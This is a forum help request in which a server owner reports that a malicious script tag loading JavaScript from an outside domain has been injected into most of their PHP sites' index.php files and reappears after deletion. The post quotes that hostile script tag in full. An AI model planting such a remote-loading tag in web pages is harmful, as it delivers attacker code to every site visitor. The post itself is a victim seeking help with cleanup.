By Smit Patel
Guys, I am in a big trouble. My web server got hacked. I noticed this script tag
<script type='text/javascript' src='https://ws.stivenfernando.com/stm?v=2.2.0'></script>
at top of almost every index.php file. When I try to remove it, it automatically rewrite the file after i save. Keeping that in mind and after seeing all website running on same server (only php sites), I came to a conclusion that this is not a simple php script attack, it just hacked my whole server.
Any idea what it might be? How I can remove that malware? Should I reinstall ubuntu?
Become a contributor for community
Get paid to write technical tutorials and select a tech-focused charity to receive a matching donation.
DigitalOcean Documentation
Full documentation for every DigitalOcean product.
Resources for startups and AI-native businesses
The Wave has everything you need to know about building a business, from raising funding to marketing your product.
The developer cloud
Scale up as you grow — whether you're running one virtual machine or ten thousand.
Start building today
From GPU-powered inference and Kubernetes to managed databases and storage, get everything you need to build, scale, and deploy intelligent applications.
